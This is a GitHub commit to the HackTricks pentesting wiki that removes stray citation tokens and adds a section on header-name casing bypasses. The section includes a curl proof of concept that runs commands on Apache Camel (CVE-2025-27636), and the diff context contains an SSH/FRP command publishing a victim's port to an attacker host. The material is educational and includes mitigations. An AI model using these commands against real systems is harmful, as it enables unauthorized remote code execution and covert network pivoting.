Skip to content

Commit dda707b

Browse files
author
HackTricks News Bot
committed
Add content from: CVE-2025-27636 – Remote Code Execution in Apache Camel via C...
1 parent 3b645cb commit dda707b

File tree

3 files changed

+45
-8
lines changed

3 files changed

+45
-8
lines changed

src/generic-hacking/tunneling-and-port-forwarding.md

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -107,7 +107,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
107107

108108
> [!NOTE]
109109
> **Security – Terrapin Attack (CVE-2023-48795)**
110-
> The 2023 Terrapin downgrade attack can let a man-in-the-middle tamper with the early SSH handshake and inject data into **any forwarded channel** ( `-L`, `-R`, `-D` ). Ensure both client and server are patched (**OpenSSH ≥ 9.6/LibreSSH 6.7**) or explicitly disable the vulnerable `[email protected]` and `*[email protected]` algorithms in `sshd_config`/`ssh_config` before relying on SSH tunnels. citeturn4search0
110+
> The 2023 Terrapin downgrade attack can let a man-in-the-middle tamper with the early SSH handshake and inject data into **any forwarded channel** ( `-L`, `-R`, `-D` ). Ensure both client and server are patched (**OpenSSH ≥ 9.6/LibreSSH 6.7**) or explicitly disable the vulnerable `[email protected]` and `*[email protected]` algorithms in `sshd_config`/`ssh_config` before relying on SSH tunnels.
111111
112112
## SSHUTTLE
113113

@@ -686,7 +686,7 @@ Start the connector:
686686
cloudflared tunnel run mytunnel
687687
```
688688

689-
Because all traffic leaves the host **outbound over 443**, Cloudflared tunnels are a simple way to bypass ingress ACLs or NAT boundaries. Be aware that the binary usually runs with elevated privileges – use containers or the `--user` flag when possible. citeturn1search0
689+
Because all traffic leaves the host **outbound over 443**, Cloudflared tunnels are a simple way to bypass ingress ACLs or NAT boundaries. Be aware that the binary usually runs with elevated privileges – use containers or the `--user` flag when possible.
690690

691691
## FRP (Fast Reverse Proxy)
692692

@@ -724,7 +724,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
724724
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
725725
```
726726

727-
The above command publishes the victim’s port **8080** as **attacker_ip:9000** without deploying any additional tooling – ideal for living-off-the-land pivoting. citeturn2search1
727+
The above command publishes the victim’s port **8080** as **attacker_ip:9000** without deploying any additional tooling – ideal for living-off-the-land pivoting.
728728

729729
## Other tools to check
730730

@@ -734,4 +734,3 @@ The above command publishes the victim’s port **8080** as **attacker_ip:9000**
734734
{{#include ../banners/hacktricks-training.md}}
735735

736736

737-

src/network-services-pentesting/pentesting-web/django.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -65,15 +65,15 @@ Send the resulting cookie, and the payload runs with the permissions of the WSGI
6565
---
6666

6767
## Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check
68-
* **CVE-2025-48432***Log Injection via unescaped `request.path`* (fixed June 4 2025). Allows attackers to smuggle newlines/ANSI codes into log files and poison downstream log analysis. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2. citeturn0search0
69-
* **CVE-2024-42005***Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Craft JSON keys to break out of quoting and execute arbitrary SQL. Fixed in 4.2.15 / 5.0.8. citeturn1search2
68+
* **CVE-2025-48432***Log Injection via unescaped `request.path`* (fixed June 4 2025). Allows attackers to smuggle newlines/ANSI codes into log files and poison downstream log analysis. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
69+
* **CVE-2024-42005***Critical SQL injection* in `QuerySet.values()/values_list()` on `JSONField` (CVSS 9.8). Craft JSON keys to break out of quoting and execute arbitrary SQL. Fixed in 4.2.15 / 5.0.8.
7070

7171
Always fingerprint the exact framework version via the `X-Frame-Options` error page or `/static/admin/css/base.css` hash and test the above where applicable.
7272

7373
---
7474

7575
## References
76-
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025. citeturn0search0
77-
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024. citeturn1search2
76+
* Django security release – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 Jun 2025.
77+
* OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 Aug 2024.
7878

7979
{{#include /banners/hacktricks-training.md}}

src/network-services-pentesting/pentesting-web/special-http-headers.md

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -193,8 +193,46 @@ Lastly, HSTS is a security feature that forces browsers to communicate with serv
193193
Strict-Transport-Security: max-age=3153600
194194
```
195195

196+
## Header Name Casing Bypass
197+
198+
HTTP/1.1 defines header field‐names as **case-insensitive** (RFC 9110 §5.1). Nevertheless, it is very common to find custom middleware, security filters, or business logic that compare the *literal* header name received without normalising the casing first (e.g. `header.equals("CamelExecCommandExecutable")`). If those checks are performed **case-sensitively**, an attacker may bypass them simply by sending the same header with a different capitalisation.
199+
200+
Typical situations where this mistake appears:
201+
202+
* Custom allow/deny lists that try to block “dangerous” internal headers before the request reaches a sensitive component.
203+
* In-house implementations of reverse-proxy pseudo-headers (e.g. `X-Forwarded-For` sanitisation).
204+
* Frameworks that expose management / debug endpoints and rely on header names for authentication or command selection.
205+
206+
### Abusing the bypass
207+
208+
1. Identify a header that is filtered or validated server-side (for example, by reading source code, documentation, or error messages).
209+
2. Send the **same header with a different casing** (mixed-case or upper-case). Because HTTP stacks usually canonicalise headers only *after* user code has run, the vulnerable check can be skipped.
210+
3. If the downstream component treats headers in a case-insensitive way (most do), it will accept the attacker-controlled value.
211+
212+
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
213+
214+
In vulnerable versions of Apache Camel the *Command Center* routes try to block untrusted requests by stripping the headers `CamelExecCommandExecutable` and `CamelExecCommandArgs`. The comparison was done with `equals()` so only the exact lowercase names were removed.
215+
216+
```bash
217+
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
218+
curl "http://<IP>/command-center" \
219+
-H "CAmelExecCommandExecutable: ls" \
220+
-H "CAmelExecCommandArgs: /"
221+
```
222+
223+
The headers reach the `exec` component unfiltered, resulting in remote command execution with the privileges of the Camel process.
224+
225+
### Detection & Mitigation
226+
227+
* Normalise all header names to a single case (usually lowercase) **before** performing allow/deny comparisons.
228+
* Reject suspicious duplicates: if both `Header:` and `HeAdEr:` are present, treat it as an anomaly.
229+
* Use a positive allow-list enforced **after** canonicalisation.
230+
* Protect management endpoints with authentication and network segmentation.
231+
232+
196233
## References
197234

235+
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
198236
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
199237
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
200238
- [https://web.dev/security-headers/](https://web.dev/security-headers/)

0 commit comments

Comments
 (0)